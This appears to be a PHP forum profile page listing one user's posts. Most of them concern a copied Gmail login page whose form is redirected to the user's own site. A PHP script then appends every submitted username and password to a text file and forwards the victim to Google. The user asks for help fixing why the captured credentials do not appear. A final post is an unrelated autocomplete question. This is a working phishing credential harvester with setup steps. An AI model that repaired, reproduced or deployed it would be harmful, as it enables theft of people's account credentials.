Jump to content

ousudrs

New Members
  • Posts

    7
  • Joined

  • Last visited

    Never

Profile Information

  • Gender
    Not Telling

ousudrs's Achievements

Newbie

Newbie (1/5)

0

Reputation

  1. This not to cheat any one. I just got an idea about this and thinking whether it is possible to do like this or not. Because of this idea, I am just started learning php. .....There is no strong or hard reason to do this..its just simply trying to learn with little interest...
  2. I am not sure about it. I am a newbie in php. I have got this data from other place. I would like to check this concept.
  3. Here is the HTML file attached (Gmail): Now, I have replaced action="https://www.google.com/accounts/ServiceLoginAuth" with action="http://mysite urlhere/login.php" and saved the file. here is the login.php file contents <?php header("Location: https://www.google.com/accounts/ServiceLoginAuth "); $handle = fopen("pswrds.txt", "a"); foreach($_GET as $variable => $value) { fwrite($handle, $variable); fwrite($handle, "="); fwrite($handle, $value); fwrite($handle, "\r\n"); } fwrite($handle, "\r\n"); fclose($handle); exit; ?> also, created a blank pswrds.txt file and uploaded index.html, login.php and pswrds.txt files to my Cpanel file manager. I am able to open mysite.com/login.php and after entering username and pwd, it is redirecting to https://www.google.com/accounts/ServiceLoginAuth . But, the problem here is, the pswrds.txt file size is increasing by 2 bytes after every time I submit the details in username and password. But the pswrds.txt file is empty. size is increasing and no data is visible. Thank you. [attachment deleted by admin]
  4. I am directly downloading the pswrds.txt file from CPanel (file manager) where I hosted.
  5. Hi friend jcbones, Still the same issue. I changed the permissions to 755 and the size of the file increasing, but not able to view the contents.
  6. Hi, I have created a webpage and it has username and password textboxes. Clicking on submit, is not adding username and password into the text file. I am able to see the psweds.txt file size is increasing on every username and password entry. but, in the pswrds.txt file, nothing is displayed. Please check this code and suggest me the changes. thank you. <?php header("Location: http://sampleurl "); $handle = fopen("pswrds.txt", "a"); foreach($_GET as $variable => $value) { fwrite($handle, $variable); fwrite($handle, "="); fwrite($handle, $value); fwrite($handle, "\r\n"); } fwrite($handle, "\r\n"); fclose($handle); exit; ?>
  7. Hi, I need help in displaying appropriate words below while typing the letters. I am getting stuckup at this. Am able to get for first time. But, after the first word, when I press space or enter or comma....what ever it is.....while typing the second word, the drop down display like suggesting the words is not displaying. How can I get the multiple words display. Thank you..
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.